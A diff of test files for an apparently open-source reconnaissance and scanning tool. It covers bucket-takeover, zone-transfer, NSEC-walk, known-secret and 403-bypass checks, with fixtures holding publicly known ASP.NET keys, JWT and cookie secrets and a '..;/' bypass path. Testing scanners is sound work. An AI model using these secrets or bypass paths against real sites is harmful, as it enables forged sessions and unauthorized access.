-        assert any(e.type == "VULNERABILITY" and "bigcartel.com" in e.data["description"] for e in events), (
-            "Failed to emit VULNERABILITY"
+        assert any(e.type == "FINDING" and "bigcartel.com" in e.data["description"] for e in events), (
+            "Failed to emit FINDING"
         )
         assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag"
diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py
index b2b49717c8..cbf1a8c2d4 100644
--- a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py
+++ b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py
@@ -26,7 +26,7 @@ async def handle_event(self, event):
                 self.events_seen.append(event.data)
                 url = "http://bad.dns:8888/"
                 url_event = self.scan.make_event(
-                    url, "URL", parent=self.scan.root_event, tags=["cdn-cloudflare", "in-scope", "status-401"]
+                    url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-401"]
                 )
                 if url_event is not None:
                     await self.emit_event(url_event)
@@ -44,7 +44,10 @@ def set_target(self, target):
         module_test.scan.modules["dummy_module"] = self.dummy_module
 
         expect_args = {"method": "GET", "uri": "/"}
-        respond_args = {"response_data": "The specified bucket does not exist", "status": 401}
+        respond_args = {
+            "response_data": "<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>bad.dns</BucketName></Error>",
+            "status": 401,
+        }
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
         await module_test.mock_dns({"bad.dns": {"A": ["127.0.0.1"]}})
@@ -55,7 +58,7 @@ def set_target(self, target):
     def check(self, module_test, events):
         assert any(
             e.type == "FINDING"
-            and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]"
+            and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist, BucketName | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]"
             in e.data["description"]
             for e in events
         ), "Failed to emit FINDING"
diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py
index d8138a3f7c..63d28929da 100644
--- a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py
+++ b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py
@@ -38,25 +38,50 @@ def from_xfr(*args, **kwargs):
     def check(self, module_test, events):
         assert any(e.data == "zzzz.bad.dns" for e in events), "Zone transfer failed (1)"
         assert any(e.data == "asdf.bad.dns" for e in events), "Zone transfer failed (2)"
-        assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY"
+        assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING"
         assert any("baddns-zonetransfer" in e.tags for e in events), "Failed to add baddns tag"
 
 
 class TestBaddns_zone_nsec(BaseTestBaddns_zone):
+    targets = ["bad.com"]
+
     async def setup_after_prep(self, module_test):
         from baddns.lib.whoismanager import WhoisManager
+        from baddns.lib.dnsmanager import DNSManager
+
+        # NSEC records can't go through MockClient (hickory refuses zone-file NSEC parsing),
+        # so we pass only non-NSEC data to mock_dns and handle NSEC via DNSManager monkeypatch.
+        nsec_data = {
+            "bad.com": ["asdf.bad.com"],
+            "asdf.bad.com": ["zzzz.bad.com"],
+            "zzzz.bad.com": ["xyz.bad.com"],
+        }
 
         await module_test.mock_dns(
             {
-                "bad.dns": {"A": ["127.0.0.5"], "NSEC": ["asdf.bad.dns"]},
-                "asdf.bad.dns": {"NSEC": ["zzzz.bad.dns"]},
-                "zzzz.bad.dns": {"NSEC": ["xyz.bad.dns"]},
+                "bad.com": {"A": ["127.0.0.5"]},
             }
         )
+
+        original_do_resolve = DNSManager.do_resolve
+        original_dispatch = DNSManager.dispatchDNS
+
+        async def patched_do_resolve(self, target, rdatatype):
+            if rdatatype == "NSEC" and target in nsec_data:
+                return nsec_data[target]
+            return await original_do_resolve(self, target, rdatatype)
+
+        async def patched_dispatch(self, omit_types=[]):
+            await original_dispatch(self, omit_types=omit_types)
+            if "NSEC" not in omit_types and self.target in nsec_data:
+                self.answers["NSEC"] = nsec_data[self.target]
+
+        module_test.monkeypatch.setattr(DNSManager, "do_resolve", patched_do_resolve)
+        module_test.monkeypatch.setattr(DNSManager, "dispatchDNS", patched_dispatch)
         module_test.monkeypatch.setattr(WhoisManager, "dispatchWHOIS", self.dispatchWHOIS)
 
     def check(self, module_test, events):
-        assert any(e.data == "zzzz.bad.dns" for e in events), "NSEC Walk Failed (1)"
-        assert any(e.data == "xyz.bad.dns" for e in events), "NSEC Walk Failed (2)"
-        assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY"
+        assert any(e.data == "zzzz.bad.com" for e in events), "NSEC Walk Failed (1)"
+        assert any(e.data == "xyz.bad.com" for e in events), "NSEC Walk Failed (2)"
+        assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING"
         assert any("baddns-nsec" in e.tags for e in events), "Failed to add baddns tag"
diff --git a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py
index 0bc8df8ad0..f0c88b49cd 100644
--- a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py
+++ b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py
@@ -30,7 +30,7 @@ class TestBadSecrets(ModuleTestBase):
 <p><input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="AHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RSCWwjtJcZNbWPcvPqL5zzfl03DoeMZfGGX7a9PSv+fUT8MAeKNouAGj1dZuO8srXt8xZIGg+wPCWWCzcX6IhWOtgWUwiXeSojCDTKXklsYt+kAAAAk5wOsXvb2lTJoO0Q==" autocomplete="off" />
 """
 
-    modules_overrides = ["badsecrets", "httpx"]
+    modules_overrides = ["badsecrets", "http"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"uri": "/test.aspx"}
@@ -79,7 +79,7 @@ def check(self, module_test, events):
 
         for e in events:
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "Known Secret Found." in e.data["description"]
                 and "validationKey: 0F97BAE23F6F36801ABDB5F145124E00A6F795A97093D778EE5CD24F35B78B6FC4C0D0D4420657689C4F321F8596B59E83F02E296E970C4DEAD2DFE226294979 validationAlgo: SHA1 encryptionKey: 8CCFBC5B7589DD37DC3B4A885376D7480A69645DAEEC74F418B4877BEC008156 encryptionAlgo: AES"
                 in e.data["description"]
@@ -94,7 +94,7 @@ def check(self, module_test, events):
                 IdentifyOnly = True
 
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "1234" in e.data["description"]
                 and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo"
                 in e.data["description"]
@@ -102,7 +102,7 @@ def check(self, module_test, events):
                 CookieBasedDetection = True
 
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "keyboard cat" in e.data["description"]
                 and "s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc"
                 in e.data["description"]
@@ -110,7 +110,7 @@ def check(self, module_test, events):
                 CookieBasedDetection_2 = True
 
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "Express.js Secret (cookie-session)" in e.data["description"]
                 and "zOQU7v7aTe_3zu7tnVuHi1MJ2DU" in e.data["description"]
             ):
@@ -122,6 +122,15 @@ def check(self, module_test, events):
         assert CookieBasedDetection_2, "No Express.js cookie vuln detected"
         assert CookieBasedDetection_3, "No Express.js (cs dual cookies) vuln detected"
 
+        # Verify that badsecrets emits CONFIRMED confidence for detected secrets
+        confirmed_finding = None
+        for e in events:
+            if e.type == "FINDING" and "Known Secret Found." in e.data["description"]:
+                confirmed_finding = e
+                break
+        if confirmed_finding:
+            assert confirmed_finding.data["confidence"] == "CONFIRMED"
+
 
 class TestBadSecrets_JWTIdentifyOnly(ModuleTestBase):
     """Verify that badsecrets suppresses JWT IdentifyOnly findings (excavate handles JWT detection)
@@ -132,7 +141,7 @@ class TestBadSecrets_JWTIdentifyOnly(ModuleTestBase):
         "http://127.0.0.1:8888/vuln_jwt.aspx",
         "http://127.0.0.1:8888/safe_jwt.aspx",
     ]
-    modules_overrides = ["badsecrets", "httpx"]
+    modules_overrides = ["badsecrets", "http"]
 
     # JWT signed with a secret NOT in badsecrets' wordlists (will produce IdentifyOnly)
     safe_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0In0.BHvEIdlrTFS4VXvT9nUOycVzokhfIYSxJa7DXNz_h0o"
@@ -160,8 +169,9 @@ async def setup_after_prep(self, module_test):
         )
 
     def check(self, module_test, events):
+        # Vulnerable JWT (SecretFound) should still produce a FINDING
         assert any(
-            e.type == "VULNERABILITY"
+            e.type == "FINDING"
             and "Known Secret Found." in e.data["description"]
             and self.vuln_jwt in e.data["description"]
             for e in events
@@ -206,7 +216,7 @@ def check(self, module_test, events):
         SecretFound = False
         for e in events:
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "Known Secret Found." in e.data["description"]
                 and "DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF" in e.data["description"]
             ):
diff --git a/bbot/test/test_step_2/module_tests/test_module_bevigil.py b/bbot/test/test_step_2/module_tests/test_module_bevigil.py
index 7e616752fa..c27a2276e7 100644
--- a/bbot/test/test_step_2/module_tests/test_module_bevigil.py
+++ b/bbot/test/test_step_2/module_tests/test_module_bevigil.py
@@ -8,7 +8,7 @@ class TestBeVigil(ModuleTestBase):
     config_overrides = {"modules": {"bevigil": {"api_key": "asdf", "urls": True}}}
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://osint.bevigil.com/api/blacklanternsecurity.com/subdomains/",
             match_headers={"X-Access-Token": "asdf"},
             json={
@@ -18,14 +18,14 @@ async def setup_after_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://osint.bevigil.com/api/blacklanternsecurity.com/urls/",
             json={"domain": "blacklanternsecurity.com", "urls": ["https://asdf.blacklanternsecurity.com"]},
         )
 
     def check(self, module_test, events):
         assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
-        assert any(e.data == "https://asdf.blacklanternsecurity.com/" for e in events), "Failed to detect url"
+        assert any(e.url == "https://asdf.blacklanternsecurity.com/" for e in events), "Failed to detect url"
 
 
 class TestBeVigilMultiKey(TestBeVigil):
@@ -34,7 +34,7 @@ class TestBeVigilMultiKey(TestBeVigil):
     config_overrides = {"modules": {"bevigil": {"api_key": api_keys, "urls": True}}}
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://osint.bevigil.com/api/blacklanternsecurity.com/subdomains/",
             match_headers={"X-Access-Token": "fdsa"},
             json={
@@ -44,7 +44,7 @@ async def setup_after_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             match_headers={"X-Access-Token": "asdf"},
             url="https://osint.bevigil.com/api/blacklanternsecurity.com/urls/",
             json={"domain": "blacklanternsecurity.com", "urls": ["https://asdf.blacklanternsecurity.com"]},
diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py
index 692b571e36..94e6140df2 100644
--- a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py
+++ b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py
@@ -36,7 +36,7 @@ def module_name(self):
 
     @property
     def modules_overrides(self):
-        return ["excavate", "speculate", "httpx", self.module_name, "cloudcheck"]
+        return ["excavate", "speculate", "http", self.module_name, "cloudcheck"]
 
     def url_setup(self):
         self.url_1 = f"https://{self.random_bucket_1}/"
@@ -60,48 +60,31 @@ async def setup_after_prep(self, module_test):
             expect_args={"method": "GET", "uri": "/"}, respond_args={"response_data": self.website_body}
         )
         if module_test.module.supports_open_check:
-            module_test.httpx_mock.add_response(
+            module_test.blasthttp_mock.add_response(
                 url=self.url_2,
                 text=self.open_bucket_body,
             )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url=self.url_3,
             text="",
         )
         if self.nonexistent_is_404:
-            module_test.httpx_mock.add_response(url=re.compile(".*"), text="", status_code=404)
+            module_test.blasthttp_mock.add_response(url=re.compile(".*"), text="", status_code=404)
 
     def check(self, module_test, events):
         storage_buckets = [e for e in events if e.type == "STORAGE_BUCKET"]
         assert len(storage_buckets) == 3
         assert 1 == len(
-            [
-                e
-                for e in storage_buckets
-                if e.data["name"] == random_bucket_name_1
-                and str(e.module) == "cloudcheck"
-                and f"cloud-{self.provider}" in e.tags
-                and f"{self.provider}-domain" in e.tags
-            ]
+            [e for e in storage_buckets if e.data["name"] == random_bucket_name_1 and str(e.module) == "cloudcheck"]
         )
         assert 1 == len(
-            [
-                e
-                for e in storage_buckets
-                if e.data["name"] == random_bucket_name_2
-                and str(e.module) == "cloudcheck"
-                and f"cloud-{self.provider}" in e.tags
-                and f"{self.provider}-domain" in e.tags
-            ]
+            [e for e in storage_buckets if e.data["name"] == random_bucket_name_2 and str(e.module) == "cloudcheck"]
         )
         assert 1 == len(
             [
                 e
                 for e in storage_buckets
-                if e.data["name"] == random_bucket_name_3
-                and str(e.module) == str(self.module_name)
-                and f"cloud-{module_test.module.cloudcheck_provider_name.lower()}" in e.tags
-                and f"{module_test.module.cloudcheck_provider_name.lower()}-domain" in e.tags
+                if e.data["name"] == random_bucket_name_3 and str(e.module) == str(self.module_name)
             ]
         )
         # make sure open buckets were found
diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py
index fa0719141b..5fae2d25bd 100644
--- a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py
+++ b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py
@@ -4,7 +4,7 @@
 
 class TestBucket_File_Enum(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["bucket_file_enum", "filedownload", "httpx", "excavate", "cloudcheck"]
+    modules_overrides = ["bucket_file_enum", "filedownload", "http", "excavate", "cloudcheck"]
 
     download_dir = bbot_test_dir / "test_bucket_file_enum"
     config_overrides = {
@@ -23,23 +23,23 @@ class TestBucket_File_Enum(ModuleTestBase):
 
     async def setup_before_prep(self, module_test):
         module_test.httpserver.expect_request("/").respond_with_data(f'<a href="{self.open_bucket_url}"/>')
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url=self.open_bucket_url,
             text=self.open_bucket_body,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url=f"{self.open_bucket_url}test.pdf",
             text=self.pdf_data,
             headers={"Content-Type": "application/pdf"},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url=f"{self.open_bucket_url}test.css",
             text="",
         )
 
     def check(self, module_test, events):
         files = list((self.download_dir / "filedownload").glob("*.pdf"))
-        assert any(e.type == "URL_UNVERIFIED" and e.data.endswith("test.pdf") for e in events)
-        assert not any(e.type == "URL_UNVERIFIED" and e.data.endswith("test.css") for e in events)
+        assert any(e.type == "URL_UNVERIFIED" and e.url.endswith("test.pdf") for e in events)
+        assert not any(e.type == "URL_UNVERIFIED" and e.url.endswith("test.css") for e in events)
         assert any(f.name.endswith("test.pdf") for f in files), "Failed to download PDF file from open bucket"
         assert not any(f.name.endswith("test.css") for f in files), "Unwanted CSS file was downloaded"
diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_google.py b/bbot/test/test_step_2/module_tests/test_module_bucket_google.py
index 71100a9476..65d241b681 100644
--- a/bbot/test/test_step_2/module_tests/test_module_bucket_google.py
+++ b/bbot/test/test_step_2/module_tests/test_module_bucket_google.py
@@ -23,5 +23,5 @@ def bucket_setup(self):
 
     def url_setup(self):
         self.url_1 = f"https://{random_bucket_name_1}.storage.googleapis.com"
-        self.url_2 = f"https://www.googleapis.com/storage/v1/b/{random_bucket_name_2}/iam/testPermissions?&permissions=storage.buckets.get&permissions=storage.buckets.list&permissions=storage.buckets.create&permissions=storage.buckets.delete&permissions=storage.buckets.setIamPolicy&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.setIamPolicy"
+        self.url_2 = f"https://www.googleapis.com/storage/v1/b/{random_bucket_name_2}/iam/testPermissions?permissions=storage.buckets.get&permissions=storage.buckets.list&permissions=storage.buckets.create&permissions=storage.buckets.delete&permissions=storage.buckets.setIamPolicy&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.setIamPolicy"
         self.url_3 = f"https://www.googleapis.com/storage/v1/b/{random_bucket_name_3}"
diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py b/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py
new file mode 100644
index 0000000000..11aec7b9d7
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py
@@ -0,0 +1,8 @@
+from .test_module_bucket_amazon import *
+
+
+class TestBucket_Hetzner(Bucket_Amazon_Base):
+    provider = "hetzner"
+    random_bucket_1 = f"{random_bucket_name_1}.fsn1.your-objectstorage.com"
+    random_bucket_2 = f"{random_bucket_name_2}.nbg1.your-objectstorage.com"
+    random_bucket_3 = f"{random_bucket_name_3}.fsn1.your-objectstorage.com"
diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py b/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py
index 463f79033b..fbcfa78050 100644
--- a/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py
+++ b/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py
@@ -22,7 +22,7 @@ class TestBucket_Microsoft_NoDup(ModuleTestBase):
     config_overrides = {"cloudcheck": True}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://tesla.blob.core.windows.net/tesla?restype=container",
             text="",
         )
@@ -40,7 +40,7 @@ def check(self, module_test, events):
         assert bucket_event.data["url"] == "https://tesla.blob.core.windows.net/"
         assert (
             bucket_event.discovery_context
-            == f"bucket_azure tried  bucket variations of {event.data} and found {{event.type}} at {url}"
+            == "bucket_azure tried 3 bucket variations of tesla.com and found STORAGE_BUCKET at https://tesla.blob.core.windows.net/tesla?restype=container"
         )
 
 
@@ -50,6 +50,9 @@ class TestBucket_Microsoft_NoDup(TestBucket_Microsoft_NoDup):
     """
 
     async def setup_after_prep(self, module_test):
+        # Call parent setup first
+        await super().setup_after_prep(module_test)
+
         from bbot.core.event.base import STORAGE_BUCKET
 
         module_test.monkeypatch.setattr(STORAGE_BUCKET, "_suppress_chain_dupes", False)
diff --git a/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py b/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py
index e77127bc38..8f99b5873a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py
+++ b/bbot/test/test_step_2/module_tests/test_module_bufferoverrun.py
@@ -6,7 +6,7 @@ class TestBufferOverrun(ModuleTestBase):
 
     async def setup_before_prep(self, module_test):
         # Mock response for non-commercial API
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://tls.bufferover.run/dns?q=.blacklanternsecurity.com",
             match_headers={"x-api-key": "asdf"},
             json={"Results": ["1.2.3.4,example.com,*,*,sub.blacklanternsecurity.com"]},
@@ -23,7 +23,7 @@ class TestBufferOverrunCommercial(ModuleTestBase):
 
     async def setup_before_prep(self, module_test):
         # Mock response for commercial API
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://bufferover-run-tls.p.rapidapi.com/ipv4/dns?q=.blacklanternsecurity.com",
             match_headers={"x-rapidapi-host": "bufferover-run-tls.p.rapidapi.com", "x-rapidapi-key": "asdf"},
             json={"Results": ["5.6.7.8,blacklanternsecurity.com,*,*,sub.blacklanternsecurity.com"]},
diff --git a/bbot/test/test_step_2/module_tests/test_module_builtwith.py b/bbot/test/test_step_2/module_tests/test_module_builtwith.py
index d11c8940d2..23f16a0fc8 100644
--- a/bbot/test/test_step_2/module_tests/test_module_builtwith.py
+++ b/bbot/test/test_step_2/module_tests/test_module_builtwith.py
@@ -5,7 +5,7 @@ class TestBuiltWith(ModuleTestBase):
     config_overrides = {"modules": {"builtwith": {"api_key": "asdf"}}}
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.builtwith.com/v20/api.json?KEY=asdf&LOOKUP=blacklanternsecurity.com&NOMETA=yes&NOATTR=yes&HIDETEXT=yes&HIDEDL=yes",
             json={
                 "Results": [
@@ -90,7 +90,7 @@ async def setup_after_prep(self, module_test):
                 "Trust": None,
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.builtwith.com/redirect1/api.json?KEY=asdf&LOOKUP=blacklanternsecurity.com",
             json={
                 "Lookup": "blacklanternsecurity.com",
diff --git a/bbot/test/test_step_2/module_tests/test_module_bypass403.py b/bbot/test/test_step_2/module_tests/test_module_bypass403.py
index 57c1a8bedf..a78fec4c40 100644
--- a/bbot/test/test_step_2/module_tests/test_module_bypass403.py
+++ b/bbot/test/test_step_2/module_tests/test_module_bypass403.py
@@ -4,7 +4,7 @@
 
 class TestBypass403(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/test"]
-    modules_overrides = ["bypass403", "httpx"]
+    modules_overrides = ["bypass403", "http"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/test..;/"}
@@ -21,7 +21,7 @@ def check(self, module_test, events):
 
 class TestBypass403_collapsethreshold(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/test"]
-    modules_overrides = ["bypass403", "httpx"]
+    modules_overrides = ["bypass403", "http"]
 
     async def setup_after_prep(self, module_test):
         respond_args = {"response_data": "alive"}
@@ -72,7 +72,7 @@ def check(self, module_test, events):
 
 class TestBypass403_aspnetcookieless(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/admin.aspx"]
-    modules_overrides = ["bypass403", "httpx"]
+    modules_overrides = ["bypass403", "http"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": re.compile(r"\/\([sS]\(\w+\)\)\/.+\.aspx")}
@@ -88,7 +88,7 @@ def check(self, module_test, events):
 
 class TestBypass403_waf(ModuleTestBase):
     targets = ["http://127.0.0.1:8888/test"]
-    modules_overrides = ["bypass403", "httpx"]
+    modules_overrides = ["bypass403", "http"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/test..;/"}
diff --git a/bbot/test/test_step_2/module_tests/test_module_c99.py b/bbot/test/test_step_2/module_tests/test_module_c99.py
index ce9c7c8878..846a5e07dc 100644
--- a/bbot/test/test_step_2/module_tests/test_module_c99.py
+++ b/bbot/test/test_step_2/module_tests/test_module_c99.py
@@ -1,4 +1,4 @@
-import httpx
+from bbot.test.mock_blasthttp import TimeoutException
 
 from .base import ModuleTestBase
 
@@ -8,11 +8,11 @@ class TestC99(ModuleTestBase):
     config_overrides = {"modules": {"c99": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.c99.nl/randomnumber?key=asdf&between=1,100&json",
             json={"success": True, "output": 65},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.c99.nl/subdomainfinder?key=asdf&domain=blacklanternsecurity.com&json",
             json={
                 "success": True,
@@ -32,7 +32,7 @@ class TestC99AbortThreshold1(TestC99):
     config_overrides = {"modules": {"c99": {"api_key": ["6789", "fdsa", "1234", "4321"]}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.c99.nl/randomnumber?key=fdsa&between=1,100&json",
             json={"success": True, "output": 65},
         )
@@ -45,9 +45,9 @@ async def custom_callback(request):
                 self.url_count[url] += 1
             except KeyError:
                 self.url_count[url] = 1
-            raise httpx.TimeoutException("timeout")
+            raise TimeoutException("timeout")
 
-        module_test.httpx_mock.add_callback(custom_callback)
+        module_test.blasthttp_mock.add_callback(custom_callback)
 
     def check(self, module_test, events):
         assert module_test.module.api_failure_abort_threshold == 13
@@ -69,8 +69,8 @@ def check(self, module_test, events):
 class TestC99AbortThreshold2(TestC99AbortThreshold1):
     targets = ["blacklanternsecurity.com", "evilcorp.com"]
 
-    async def setup_before_prep(self, module_test):
-        await super().setup_before_prep(module_test)
+    async def setup_after_prep(self, module_test):
+        await super().setup_after_prep(module_test)
         await module_test.mock_dns(
             {
                 "blacklanternsecurity.com": {"A": ["127.0.0.88"]},
diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_dns.py b/bbot/test/test_step_2/module_tests/test_module_censys_dns.py
index bab6f0060a..f009e8c59b 100644
--- a/bbot/test/test_step_2/module_tests/test_module_censys_dns.py
+++ b/bbot/test/test_step_2/module_tests/test_module_censys_dns.py
@@ -5,7 +5,7 @@ class TestCensys_DNS(ModuleTestBase):
     config_overrides = {"modules": {"censys_dns": {"api_key": "api_id:api_secret"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v1/account",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             json={
@@ -16,7 +16,7 @@ async def setup_before_prep(self, module_test):
                 "quota": {"used": 26, "allowance": 250, "resets_at": "1919-06-03 16:30:32"},
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v2/certificates/search",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             method="POST",
@@ -46,7 +46,7 @@ async def setup_before_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v2/certificates/search",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             method="POST",
diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py
index 4aff673486..6c94a2de73 100644
--- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py
+++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py
@@ -25,7 +25,7 @@ async def setup_before_prep(self, module_test):
                 },
             }
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v1/account",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             json={
@@ -36,7 +36,7 @@ async def setup_before_prep(self, module_test):
                 "quota": {"used": 26, "allowance": 250, "resets_at": "1919-06-03 16:30:32"},
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v2/hosts/1.2.3.4",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             json={
@@ -135,6 +135,27 @@ async def setup_before_prep(self, module_test):
             },
         )
 
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(
+            {
+                "wildcard.evilcorp.com": {
+                    "A": ["1.2.3.4"],
+                },
+                "certname.evilcorp.com": {
+                    "A": ["1.2.3.4"],
+                },
+                "certsubject.evilcorp.com": {
+                    "A": ["1.2.3.4"],
+                },
+                "reversedns.evilcorp.com": {
+                    "A": ["1.2.3.4"],
+                },
+                "ptr.evilcorp.com": {
+                    "A": ["1.2.3.4"],
+                },
+            }
+        )
+
     def check(self, module_test, events):
         # Check OPEN_UDP_PORT event for DNS
         assert any(e.type == "OPEN_UDP_PORT" and e.data == "1.2.3.4:53" for e in events), (
@@ -161,13 +182,13 @@ def check(self, module_test, events):
         )
 
         # Check URL_UNVERIFIED events
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "http://1.2.3.4/" for e in events), (
+        assert any(e.type == "URL_UNVERIFIED" and e.url == "http://1.2.3.4/" for e in events), (
             "Failed to detect HTTP URL"
         )
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "https://1.2.3.4/" for e in events), (
+        assert any(e.type == "URL_UNVERIFIED" and e.url == "https://1.2.3.4/" for e in events), (
             "Failed to detect HTTPS URL"
         )
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "https://1.2.3.4:8443/admin" for e in events), (
+        assert any(e.type == "URL_UNVERIFIED" and e.url == "https://1.2.3.4:8443/admin" for e in events), (
             "Failed to detect HTTPS URL on port 8443"
         )
 
@@ -197,7 +218,7 @@ def check(self, module_test, events):
